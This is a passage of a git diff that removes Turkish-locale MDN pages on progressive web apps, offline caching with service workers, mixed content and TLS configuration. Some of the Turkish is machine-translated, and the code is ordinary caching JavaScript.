SQL/Web Storage if necessary.</li> - <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — An <em>Express-like</em> microframework for easy Service Worker development.</li> - <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li> - <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — A node module to generate service worker code that will precache specific resources.</li> - <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — Spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li> - <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — A tiny script that makes sure your site is always there for your users.</li> - <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li> - <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">PWA VS Code extension</a> - A collection of all essential code snippets you need to build Progressive Web Apps right there in your VS Code environment.</li> -</ul> -</div> -</div> - -<ul> - <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers.</li> - <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh"><font><font>Progresif Web Uygulamaları: Ruhumuzu Kaybetmeden Sekmelerden Kaçış</font></font></a><font><font> Alex Russell.</font></font></li> - <li><a href="https://developers.google.com/web/progressive-web-apps/checklist"><font><font>Aşamalı Web Uygulamaları Kontrol Listesi</font></font></a><font><font> .</font></font></li> - <li><font><font>Google'dan </font><a href="https://developers.google.com/web/tools/lighthouse"><font>Deniz Feneri Aracı</font></a><font> .</font></font></li> - <li><a href="https://github.com/angular/mobile-toolkit"><font><font>Angular ile aşamalı web uygulamaları oluşturma araçları</font></font></a><font><font> .</font></font></li> - <li><a href="https://github.com/codebusking/react-pwa-guide-kit"><font><font>Tepki PWA Kılavuz Kiti</font></font></a><font><font> .</font></font></li> - <li><a href="https://pokedex.org/"><font><font>Çevrimdışı yetenekli Pokédex web sitesi</font></font></a><font><font> .</font></font></li> - <li><a href="https://hnpwa.com/"><font><font>Hacker News okuyucuları Aşamalı Web Uygulamaları olarak</font></font></a><font><font> .</font></font></li> - <li><a href="https://ymedialabs.com/progressive-web-apps"><font><font>Progresif Web Uygulamaları Neden Mobil Web'in Geleceği (2019 Araştırma)</font></font></a><font><font> .</font></font></li> - <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/"><font><font>Progresif Web Uygulamaları: Bilmeniz Gereken Her Şey</font></font></a></li> -</ul> - -<div><font><font>{{QuickLinksWithSubpages ( "/ tr / docs / Web / Progressive_web_apps /")}}</font></font></div> diff --git a/files/tr/web/progressive_web_apps/offline_service_workers/index.html b/files/tr/web/progressive_web_apps/offline_service_workers/index.html deleted file mode 100644 index a6ea548179..0000000000 --- a/files/tr/web/progressive_web_apps/offline_service_workers/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Making PWAs work offline with Service workers -slug: Web/Progressive_web_apps/Offline_Service_workers -translation_of: Web/Progressive_web_apps/Offline_Service_workers ---- -<div>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div> - -<p class="summary">Now that we’ve seen what the structure of js13kPWA looks like and have seen the basic shell up and running, let's look at how the offline capabilities using Service Worker are implemented. In this article, we look at how it is used in our <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA example</a> (<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">see the source code also</a>). We examine how to add offline functionality.</p> - -<h2 id="Service_workers_explained">Service workers explained</h2> - -<p>Service Workers are a virtual proxy between the browser and the network. They finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline.</p> - -<p>They run on a separate thread from the main JavaScript code of our page, and don't have any access to the DOM structure. This introduces a different approach from traditional web programming — the API is non-blocking, and can send and receive communication between different contexts. You are able to give a Service Worker something to work on, and receive the result whenever it is ready using a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>-based approach.</p> - -<p>They can do a lot more than "just" offering offline capabilities, including handling notifications, performing heavy calculations on a separate thread, etc. Service workers are quite powerful as they can take control over network requests, modify them, serve custom responses retrieved from the cache, or synthesize responses completely.</p> - -<h3 id="Security">Security</h3> - -<p>Because they are so powerful, Service Workers can only be executed in secure contexts (meaning HTTPS). If you want to experiment first before pushing your code to production, you can always test on a localhost or setup GitHub Pages — both support HTTPS.</p> - -<h2 id="Offline_First">Offline First</h2> - -<p>The "offline first" — or "cache first" — pattern is the most popular strategy for serving content to the user. If a resource is cached and available offline, return it first before trying to download it from the server. If it isn’t in the cache already, download it and cache it for future usage.</p> - -<h2 id="Progressive_in_PWA">"Progressive" in PWA</h2> - -<p>When implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the API by providing offline support, but won't break anything for those using legacy browsers.</p> - -<h2 id="Service_workers_in_the_js13kPWA_app">Service workers in the js13kPWA app</h2> - -<p>Enough theory — let's see some source code!</p> - -<h3 id="Registering_the_Service_Worker">Registering the Service Worker</h3> - -<p>We'll start by looking at the code that registers a new Service Worker, in the app.js file: </p> - -<p><strong>NOTE</strong> : We're using the <a href="http://es6-features.org/">es6</a> <strong>arrow functions</strong> syntax in the Service Worker Implementation</p> - -<pre class="brush: js">if('serviceWorker' in navigator) { - navigator.serviceWorker.register('./pwa-examples/js13kpwa/sw.js'); -};</pre> - -<p>If the service worker API is supported in the browser, it is registered against the site using the {{domxref("ServiceWorkerContainer.register()")}} method. Its contents reside in the sw.js file, and can be executed after the registration is successful. It's the only piece of Service Worker code that sits inside the app.js file; everything else that is Service Worker-specific is written in the sw.js file itself.</p> - -<h3 id="Lifecycle_of_a_Service_Worker">Lifecycle of a Service Worker</h3> - -<p>When registration is complete, the sw.js file is automatically downloaded, then installed, and finally activated.</p> - -<h4 id="Installation">Installation</h4> - -<p>The API allows us to add event listeners for key events we are interested in — the first one is the <code>install</code> event:</p> - -<pre class="brush: js">self.addEventListener('install', (e) => { - console.log('[Service Worker] Install'); -});</pre> - -<p>In the <code>install</code> listener, we can initialize the cache and add files to it for offline use. Our js13kPWA app does exactly that.</p> - -<p>First, a variable for storing the cache name is created, the app shell files are listed in one array.</p> - -<pre class="brush: js">var cacheName = 'js13kPWA-v1'; -var appShellFiles = [ - '/pwa-examples/js13kpwa/', - '/pwa-examples/js13kpwa/index.html', - '/pwa-examples/js13kpwa/app.js', - '/pwa-examples/js13kpwa/style.css', - '/pwa-examples/js13kpwa/fonts/graduate.eot', - '/pwa-examples/js13kpwa/fonts/graduate.ttf', - '/pwa-examples/js13kpwa/fonts/graduate.woff', - '/pwa-examples/js13kpwa/favicon.ico', - '/pwa-examples/js13kpwa/img/js13kgames.png', - '/pwa-examples/js13kpwa/img/bg.png', - '/pwa-examples/js13kpwa/icons/icon-32.png', - '/pwa-examples/js13kpwa/icons/icon-64.png', - '/pwa-examples/js13kpwa/icons/icon-96.png', - '/pwa-examples/js13kpwa/icons/icon-128.png', - '/pwa-examples/js13kpwa/icons/icon-168.png', - '/pwa-examples/js13kpwa/icons/icon-192.png', - '/pwa-examples/js13kpwa/icons/icon-256.png', - '/pwa-examples/js13kpwa/icons/icon-512.png' -];</pre> - -<p>Next, the links to images to be loaded along with the content from the data/games.js file are generated in the second array. After that, both arrays are merged using the {{jsxref("Array.prototype.concat()")}} function.</p> - -<pre class="brush: js">var gamesImages = []; -for(var i=0; i<games.length; i++) { - gamesImages.push('data/img/'+games[i].slug+'.jpg'); -} -var contentToCache = appShellFiles.concat(gamesImages);</pre> - -<p>Then we can manage the <code>install</code> event itself:</p> - -<pre class="brush: js">self.addEventListener('install', (e) => { - console.log('[Service Worker] Install'); - e.waitUntil( - caches.open(cacheName).then((cache) => { - console.log('[Service Worker] Caching all: app shell and content'); - return cache.addAll(contentToCache); - }) - ); -});</pre> - -<p>There are two things that need an explanation here: what {{domxref("ExtendableEvent.waitUntil")}} does, and what the {{domxref("Caches","caches")}} object is.</p> - -<p>The service worker does not install until the code inside <code>waitUntil</code> is executed. It returns a promise — this approach is needed because installing may take some time, so we have to wait for it to finish.</p> - -<p><code>caches</code> is a special {{domxref("CacheStorage")}} object available in the scope of the given Service Worker to enable saving data — saving to <a href="/en-US/docs/Web/API/Web_Storage_API">web storage</a> won't work, because web storage is synchronous. With Service Workers, we use the Cache API instead.</p> - -<p>Here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request URL).</p> - -<h4 id="Activation">Activation</h4> - -<p>There is also an <code>activate</code> event, which is used in the same way as <code>install</code>. This event is usually used to delete any files that are no longer necessary and clean up after the app in general. We don't need to do that in our app, so we'll skip it.</p> - -<h3 id="Responding_to_fetches">Responding to fetches</h3> - -<p>We also have a <code>fetch</code> event at our disposal, which fires every time an HTTP request is fired off from our app. This is very useful, as it allows us to intercept requests and respond to them with custom responses. Here is a simple usage example:</p> - -<pre class="brush: js">self.addEventListener('fetch', (e) => { - console.log('[Service Worker] Fetched resource '+e.request.url); -});</pre> - -<p>The response can be anything we want: the requested file, its cached copy, or a piece of JavaScript code that will do something specific — the possibilities are endless.</p> - -<p>In our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. We do this whether the app is online or offline. If the file is not in the cache, the app adds it there first before then serving it:</p> - -<pre class="brush: js">self.addEventListener('fetch', (e) => { - e.respondWith( - caches.match(e.request).then((r) => { - console.log('[Service Worker] Fetching resource: '+e.request.url); - return r || fetch(e.request).then((response) => { - return caches.open(cacheName).then((cache) => { - console.log('[Service Worker] Caching new resource: '+e.request.url); - cache.put(e.request, response.clone()); - return response; - }); - }); - }) - ); -});</pre> - -<p>Here, we respond to the fetch event with a function that tries to find the resource in the cache and return the response if it's there. If not, we use another fetch request to fetch it from the network, then store the response in the cache so it will be available there next time it is requested.</p> - -<p>The {{domxref("FetchEvent.respondWith")}} method takes over control — this is the part that functions as a proxy server between the app and the network. This allows us to respond to every single request with any response we want: prepared by the Service Worker, taken from cache, modified if needed.</p> - -<p>That's it! Our app is caching its resources on install and serving them with fetch from the cache, so it works even if the user is offline. It also caches new content whenever it is added.</p> - -<h2 id="Updates">Updates</h2> - -<p>There is still one point to cover: how do you upgrade a Service Worker when a new version of the app containing new assets is available? The version number in the cache name is key to this:</p> - -<pre class="brush: js">var cacheName = 'js13kPWA-v1';</pre> - -<p>When this updates to v2, we can then add all of our files (including our new files) to a new cache:</p> - -<pre class="brush: js">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png'); - -// ... - -self.addEventListener('install', (e) => { - e.waitUntil( - caches.open('js13kPWA-v2').then((cache) => { - return cache.addAll(contentToCache); - }) - ); -});</pre> - -<p>A new service worker is installed in the background, and the previous one (v1) works correctly up until there are no pages using it — the new Service Worker is then activated and takes over management of the page from the old one.</p> - -<h2 id="Clearing_the_cache">Clearing the cache</h2> - -<p>Remember the <code>activate</code> event we skipped? It can be used to clear out the old cache we don't need anymore:</p> - -<pre class="brush: js">self.addEventListener('activate', (e) => { - e.waitUntil( - caches.keys().then((keyList) => { - return Promise.all(keyList.map((key) => { - if(key !== cacheName) { - return caches.delete(key); - } - })); - }) - ); -});</pre> - -<p>This ensures we have only the files we need in the cache, so we don't leave any garbage behind; the <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">available cache space in the browser is limited</a>, so it is a good idea to clean up after ourselves.</p> - -<h2 id="Other_use_cases">Other use cases</h2> - -<p>Serving files from cache is not the only feature Service Worker offers. If you have heavy calculations to do, you can offload them from the main thread and do them in the worker, and receive results as soon as they are available. Performance-wise, you can prefetch resources that are not needed right now, but might be in the near future, so the app will be faster when you actually need those resources.</p> - -<h2 id="Summary">Summary</h2> - -<p>In this article we took a simple look at how you can make your PWA work offline with service workers. Be sure to check out our further documentation if you want to learn more about the concepts behind the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> and how to use it in more detail.</p> - -<p>Service Workers are also used when dealing with <a href="/en-US/docs/Web/API/Push_API">push notifications</a> — this will be explained in a subsequent article.</p> - -<p>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p> - -<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div> diff --git a/files/tr/web/reference/index.html b/files/tr/web/reference/index.html deleted file mode 100644 index 6d1867a6f3..0000000000 --- a/files/tr/web/reference/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Web technology reference -slug: Web/Reference -tags: - - Landing - - NeedsTranslation - - Reference - - TopicStub - - Web -translation_of: Web/Reference ---- -<p>The open Web is built using a number of technologies. Below you'll find links to our reference material for each of them.</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Core_Web_technologies">Core Web technologies</h2> - -<p>{{ Page ("Web", "Web technologies") }}</p> -</div> - -<div class="section"> -<p>{{draft()}}</p> - -<p>This page <a href="/en-US/docs/Project:MDN/Plans_and_status/Web_platform">is meant to be</a> the landing page for the "Web Platform Reference"; this would offer links to the landing pages for each of the APIs that comprise the Web platform (but would not itself have subpages).</p> -</div> -</div> - -<p> </p> diff --git a/files/tr/web/security/index.html b/files/tr/web/security/index.html deleted file mode 100644 index 6773c3e988..0000000000 --- a/files/tr/web/security/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Web güvenliği -slug: Web/Security -tags: - - Güvenlik - - Landing - - Web -translation_of: Web/Security -original_slug: Web/Güvenlik ---- -<div class="summary"> -<p><span class="seoSummary">Websitenizin ya da uygulamanızın güvenliğini garantiye almak çok önemli. Küçük hatalar bile gizli verilerin sızmasına sebep olabilir ve dışarıdaki kötü niyetliler, verilerinizi çalmanın yollarını arıyorlar. Bu makaleler kodunuzu daha güvenli hale getirmeniz için size yardımcı olabilir.</span></p> -</div> - -<p>{{LandingPageListSubpages}}</p> - -<p>{{QuickLinksWithSubpages}}</p> diff --git a/files/tr/web/security/mixed_content/index.html b/files/tr/web/security/mixed_content/index.html deleted file mode 100644 index 7b8c6d0a3b..0000000000 --- a/files/tr/web/security/mixed_content/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Mixed Content -slug: Web/Security/Mixed_content -translation_of: Web/Security/Mixed_content -original_slug: Security/MixedContent ---- -<p>When a user visits a page served over HTTPS, their connection with the web server is encrypted with SSL and hence safeguarded from sniffers and man-in-the-middle attacks.</p> -<p>If the HTTPS page includes content retrieved through regular, cleartext HTTP, then the connection is only partially encrypted: the unencrypted content is accessible to sniffers and can be modified by man-in-the-middle attackers, and therefore the connection is not safeguarded anymore. When a webpage exhibits this behavior, it is called a <em>mixed content</em> page.</p> -<h2 id="Web_Console">Web Console</h2> -<p>Starting in Firefox 16, the Web Console displays a mixed content warning message when a page on your website has this issue. The mixed content resource that was loaded via HTTP will show up in red, along with the text "mixed content" which will link to this page.</p> -<p><a class="internal" href="/files/3794/mixed_content_webconsole.jpg"><img alt="Screen shot of the web console displaying a mixed content warning." src="/files/3794/mixed_content_webconsole.jpg" style="width: 700px; border-width: 1px; border-style: solid; height: 116px;"></a></p> -<p>To fix this error, requests to HTTP content should be removed and replaced with content served over HTTPS. Some common examples of mixed content include JavaScript files, stylesheets, images, videos, and other media.</p> -<p>Starting in Firefox 23, mixed active content is blocked by default (and mixed display content can be blocked by setting a preference). To make it easier for web developers to find mixed content errors, all blocked mixed content requests are logged to the Security pane of the Web Console.</p> -<p><a href="/files/5261/blocked-mixed-content-errors.png"><img alt="A screenshot of blocked mixed content errors in the Security Pane of the Web Console" src="https://mdn.mozillademos.org/files/5261/blocked-mixed-content-errors.png" style="width: 725px; height: 107px;"></a></p> -<h2 id="Types_of_Mixed_Content">Types of Mixed Content</h2> -<p>There are two categories for mixed content: <strong>Mixed Passive/Display Content</strong> and <strong>Mixed Active Content</strong>. The difference lies in the threat level of the worst case scenario if content is rewritten as part of a Man-In-The-Middle attack. In the case of passive content, the threat is low (webpage appears broken or with misleading content). In the case of active content, the threat can lead to phishing, sensitive data disclosure, redirection to malicious sites, etc.</p> -<h3 id="Mixed_passivedisplay_content">Mixed passive/display content</h3> -<p>Mixed Passive/Display Content is content served over HTTP that is included in an HTTPS webpage, but that cannot alter other portions of the webpage. For example, an attacker could replace an image served over HTTP with an inappropriate image or message to the user. The attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website. If the attacker observes HTTP requests to certain images, he could determine which webpage the user is visiting.</p> -<h4 id="Passive_content_list">Passive content list</h4> -<p>This section lists all types of HTTP requests which are considered passive content:</p> -<ul> - <li><a href="/en-US/docs/Web/HTML/Element/audio" title="/en-US/docs/Web/HTML/Element/audio"><audio></a> (<code>src</code> attribute)</li> - <li><a href="/en-US/docs/Web/HTML/Element/Img" title="/en-US/docs/Web/HTML/Element/Img"><img></a> (<code>src</code> attribute)</li> - <li><a href="/en-US/docs/Web/HTML/Element/video" title="/en-US/docs/Web/HTML/Element/Img"><video></a> (<code>src</code> attribute)</li> - <li><a href="/en-US/docs/Web/HTML/Element/object" title="/en-US/docs/Web/HTML/Element/object"><object></a> subresources (when an <object> performs HTTP requests)</li> -</ul> -<h3 id="Mixed_active_content">Mixed active content</h3> -<p>Mixed Active Content is content that has access to all or parts of the Document Object Model of the HTTPS page. This type of mixed content can alter the behavior of the HTTPS page and potentially steal sensitive data from the user. Hence, in addition to the risks described for Mixed Display Content above, Mixed Active Content is vulnerable to a few other attack vectors.</p> -<p>In the Mixed Active Content case, a man-in-the-middle attacker can intercept the request for the HTTP content. The attacker can also rewrite the response to include malicious JavaScript code. Malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example).</p> -<p>The risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. The webpage may have public data visible to the world or private data visible only when authenticated. If the webpage is public and has no sensitive data about the user, using Mixed Active Content still provides the attacker with the opportunity to redirect the user to other HTTP pages and steal HTTP cookies from those sites.</p> -<h4 id="Active_content_list">Active content list</h4> -<p>This section lists some types of HTTP requests which are considered active content:</p> -<ul> - <li><a href="/en-US/docs/Web/HTML/Element/script" title="/en-US/docs/Web/HTML/Element/script"><script></a> (<code>src</code> attribute)</li> - <li><a href="/en-US/docs/Web/HTML/Element/link" title="/en-US/docs/Web/HTML/Element/link"><link></a> (<code>href</code> attribute) (this includes CSS stylesheets)</li> - <li><a href="/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> object requests</li> - <li><a href="/en-US/docs/Web/HTML/Element/iframe" title="/en-US/docs/Web/HTML/Element/iframe"><iframe></a> (<code>src</code> attributes)</li> - <li>All cases in CSS where a <a href="http://www.w3.org/TR/css3-values/#urls" title="http://www.w3.org/TR/css3-values/#urls">url</a> value is used (<a href="/en-US/docs/Web/CSS/@font-face" title="/en-US/docs/Web/CSS/@font-face">@font-face</a>, <a href="/en-US/docs/Web/CSS/cursor" title="/en-US/docs/Web/CSS/cursor">cursor</a>, <a href="/en-US/docs/Web/CSS/background-image" title="/en-US/docs/Web/CSS/background-image">background-image</a>, etc.)</li> - <li><a href="/en-US/docs/Web/HTML/Element/object" title="/en-US/docs/Web/HTML/Element/object"><object></a> (<code>data</code> attribute)</li> -</ul> -<h2 id="See_also">See also</h2> -<div class="warning"> - <p><a href="/en-US/docs/Security/MixedContent/fix_website_with_mixed_content">How to fix a website with blocked mixed content</a></p> -</div> -<p> </p> diff --git a/files/tr/web/security/transport_layer_security/index.html b/files/tr/web/security/transport_layer_security/index.html deleted file mode 100644 index ffbdb28d24..0000000000 --- a/files/tr/web/security/transport_layer_security/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Transport Layer Security -slug: Web/Security/Transport_Layer_Security -translation_of: Web/Security/Transport_Layer_Security -original_slug: Web/Güvenlik/Transport_Layer_Security ---- -<p><span class="seoSummary"><font><font>Aktarım Katmanı Güvenliği (TLS) kullanan herhangi bir bağlantının güvenliği büyük ölçüde seçilen şifre paketlerine ve seçilen güvenlik parametrelerine bağlıdır. </font><font>Bu makalenin amacı, istemci ve sunucu arasındaki gizlilik ve bütünlük iletişimini sağlamak için bu kararları almanıza yardımcı olmaktır. </font></font></span><font><font>Mozilla Operasyon Güvenliği (OpSec) ekibi </font><font>, sunucular için referans yapılandırmaları olan </font></font><a href="https://wiki.mozilla.org/Security/Server_Side_TLS"><font><font>bir wiki girişi tutar</font></font></a><font><font> .</font></font></p> - -<p class="summary"><font><font>Aktarım Katmanı Güvenliği (TLS) protokolü, iki ağa bağlı uygulamanın veya cihazın özel ve sağlam bir şekilde bilgi alışverişi yapmalarını sağlayan standarttır. </font><font>TLS kullanan uygulamalar, verilerin güvenliği ve güvenilirliği üzerinde önemli bir etkisi olabilecek güvenlik parametrelerini seçebilir. </font><font>Bu makale, TLS'ye ve içeriğinizi güvenceye alırken vermeniz gereken kararlara genel bir bakış sunmaktadır.</font></font></p> - -<h2 id="Tarih"><font><font>Tarih</font></font></h2> - -<p><font><font>HTTPS tanıtıldığında, Netscape tarafından sunulan bir teknoloji olan Güvenli Yuva Katmanı (SSL) 2.0'a dayanıyordu. </font><font>Kısa bir süre sonra SSL 3.0'a güncellendi ve kullanımı genişledikçe, tüm web tarayıcıları ve sunucular arasında birlikte çalışabilirliği sağlamak için ortak, standart bir şifreleme teknolojisinin belirtilmesi gerektiği anlaşıldı. </font></font><a href="https://www.ietf.org/"><font><font>Internet Engineering Task Force</font></font></a><font><font> (IETF) 'de TLS 1.0 belirtilmiş {{RFC (2246)}} Ocak 1999 yılında TLS mevcut sürümü olan 1.3 ({{RFC (8446)}}).</font></font></p> - -<div class="note"> -<p>Despite the fact that the web now uses TLS for encryption, many people still refer to it as "SSL" out of habit.</p> -</div> - -<p>Although TLS can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt HTTP traffic. HTTP encrypted using TLS is commonly referred to as {{Glossary("HTTPS")}}. TLS-encrypted web traffic is by convention exchanged on port 443 by default, while unencrypted HTTP uses port 80 by default. HTTPS remains an important use case for TLS.</p> - -<h2 id="HTTP_over_TLS">HTTP over TLS</h2> - -<p>TLS provides three primary services that help ensure the safety and security of data exchanged with it:</p> - -<dl> - <dt>Authentication</dt> - <dd>Authentication lets each party to the communication verify that the other party is who they claim to be.</dd> - <dt>Encryption</dt> - <dd>Data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties.</dd> - <dt>Integrity</dt> - <dd>TLS ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified.</dd> -</dl> - -<p>A TLS connection starts with a handshake phase where a client and server agree on a shared secret and important parameters, like cipher suites, are negotiated. Once parameters and a data exchange mode where application data, such HTTP, is exchanged.</p> - -<h3 id="Cipher_suites">Cipher suites</h3> - -<p>The primary parameters that the TLS handshake negotiates is a {{interwiki("wikipedia", "cipher suite")}}.</p> - -<p>In TLS 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorithms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data.</p> - -<p>The cipher suite in TLS 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication.</p> - -<p>Different software might use different names for the same cipher suites. For instance, the names used in OpenSSL and GnuTLS differ from those in the TLS standards. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table">cipher names correspondence table</a> on the Mozilla OpSec team's article on TLS configurations lists these names as well as information about compatibility and security levels.</p> - -<h3 id="Configuring_your_server">Configuring your server</h3> - -<p>Correctly configuring your server is crucial. In general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">Mozilla OpSec guide to TLS configurations</a> provides more information on recommended configurations.</p> - -<p>To assist you in configuring your site, Mozilla provides a helpful <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">TLS configuration generator</a> that will generate configuration files for the following Web servers:</p> - -<ul> - <li>Apache</li> - <li>Nginx</li> - <li>Lighttpd</li> - <li>HAProxy</li> - <li>Amazon Web Services CloudFormation Elastic Load Balancer</li> -</ul> - -<p>Using the <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">configurator</a> is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. The configuration file may need some adjustments to include custom settings, so be sure to review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work.</p> - -<h2 id="TLS_1.3">TLS 1.3</h2> - -<p>{{RFC("8446", "TLS 1.3")}} is a major revision to TLS. TLS 1.3 includes numerous changes that improve security and performance. The goals of TLS 1.3 are:</p> - -<ul> - <li>Remove unused and unsafe features of TLS 1.2.</li> - <li>Include strong security analysis in the design.</li> - <li>Improve privacy by encrypting more of the protocol.</li> - <li>Reduce the time needed to complete a handshake.</li> -</ul> - -<p>TLS 1.3 changes much of the protocol fundamentals, but preserves almost all of the basic capabilities as previous versions of TLS. For the web, TLS 1.3 can be enabled without affecting compatibility with some rare exceptions (see below).</p> - -<p>The major changes in TLS 1.3 are:</p> - -<ul> - <li>The TLS 1.3 handshake completes in one round trip in most cases, reducing handshake latency.</li> - <li>A server can enable a 0-RTT (zero round trip time) handshake. Clients that reconnect to the server can send requests immediately, eliminating the latency of the TLS handshake entirely. Though the performance gains from 0-RTT can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature.</li> - <li>TLS 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key.</li> - <li>TLS 1.3 defines a new set of cipher suites that are exclusive to TLS 1.3. These cipher suites all use modern Authenticated Encryption with Associated Data (AEAD) algorithms.</li> - <li>The TLS 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. In particular, this means that server and client certificates are encrypted. Note however that the server identity (the server_name or SNI extension) that a client sends to the server is not encrypted.</li> - <li>Numerous mechanisms have been disabled: renegotiation, generic data compression, {{interwiki("wikipedia", "Digital Signature Algorithm")}} (DSA) certificates, static RSA key exchange, and key exchange with custom Diffie-Hellman (DH) groups.</li> -</ul> - -<p>Implementations of draft versions of TLS 1.3 are available. TLS 1.3 is enabled in some browsers, including the 0-RTT mode. Web servers that enable TLS 1.3 might need to adjust configuration to allow TLS 1.3 to operate successfully.</p> - -<p>TLS 1.3 adds just one significant new use case. The 0-RTT handshake can provide significant performance gains for latency sensitive applications, like the web. Enabling 0-RTT requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks.</p> - -<p>The removal of renegotiation in TLS 1.3 might affect some web servers that rely on client authentication using certificates. Some web servers use renegotiation to either ensure that client certificates are encrypted, or to request client certificates only when certain resources are requested. For the privacy of client certificates, the encryption of the TLS 1.3 handshake ensures that client certificates are encrypted; however this might require some software changes. Reactive client authentication using certificates is supported by TLS 1.3 but not widely implemented. Alternative mechanisms are in the process of being developed, which will also support HTTP/2.</p> - -<h2 id="Retiring_old_TLS_versions">Retiring old TLS versions</h2> - -<p><font><font>Daha modern, daha güvenli bir web üzerinde çalışmanıza yardımcı olmak için, TLS 1.0 ve 1.1 desteği, 201'in ikinci çeyreğindeki tüm büyük tarayıcılardan kaldırılacaktır </font></font><strong> </strong><font><font>. Web sunucunuzun, ileride TLS 1.2 veya 1.3'ü desteklediğinden emin olmanız gerekir.</font></font></p> - -<p><font><font>74 sürümünden itibaren Firefox </font><font>, eski TLS sürümlerini ({{bug (1606734)}}) kullanan sunuculara bağlanırken </font></font><a href="https://support.mozilla.org/en-US/kb/secure-connection-failed-firefox-did-not-connect"><font><font>Güvenli Bağlantı Başarısız</font></font></a><font><font> hatası döndürecektir.</font></font></p> - -<h2 id="TLS_el_sıkışma_zaman_aşımı_değerleri"><font><font>TLS el sıkışma zaman aşımı değerleri</font></font></h2> - -<p><font><font>TLS anlaşması bir sebepten dolayı yavaşlamaya veya yanıt vermemeye başlarsa, kullanıcının deneyimi önemli ölçüde etkilenebilir. </font><font>Bu sorunu hafifletmek için, modern tarayıcılar el sıkışma zaman aşımlarını uygulamıştır:</font></font></p> - -<ul> - <li><font><font>Sürüm 58'den bu yana, Firefox varsayılan değer olan 30 saniyelik bir TLS el sıkışma zaman aşımı uygular. </font><font>Zaman aşımı değeri </font></font><code>network.http.tls-handshake-timeout</code><font><font>pref: about: config düzenlenerek değiştirilebilir.</font></font></li> -</ul> - -<h2 id="Ayrıca_bakınız"><font><font>Ayrıca bakınız</font></font></h2> - -<ul> - <li><a href="https://ssl-config.mozilla.org"><font><font>Mozilla SSL Yapılandırma Jeneratör</font></font></a><font><font> ve </font></font><a href="https://cipherli.st/"><font><font>Cipherli.st</font></font></a><font><font> sitenizi güven altına almak için sunucu için yapılandırma dosyaları oluşturulmasına yardımcı olabilir.</font></font></li> - <li><font><font>Mozilla Operasyon Güvenliği (OpSec) ekibi </font></font><a href="https://wiki.mozilla.org/Security/Server_Side_TLS"><font><font>referans TLS yapılandırmalarına</font></font></a><font><font> sahip bir wiki sayfası tutar </font><font>.</font></font></li> - <li><a href="https://observatory.mozilla.org/"><font><font>Mozilla Gözlemevi</font></font></a><font><font> , </font></font><a href="https://www.ssllabs.com/ssltest/"><font><font>SSL Labs</font></font></a><font><font> ve </font></font><a href="https://github.com/mozilla/cipherscan"><font><font>Cipherscan</font></font></a><font><font> , bir siteyi TLS yapılandırmasının ne kadar güvenli olduğunu görmek için test etmenize yardımcı olabilir.</font></font></li> - <li><a 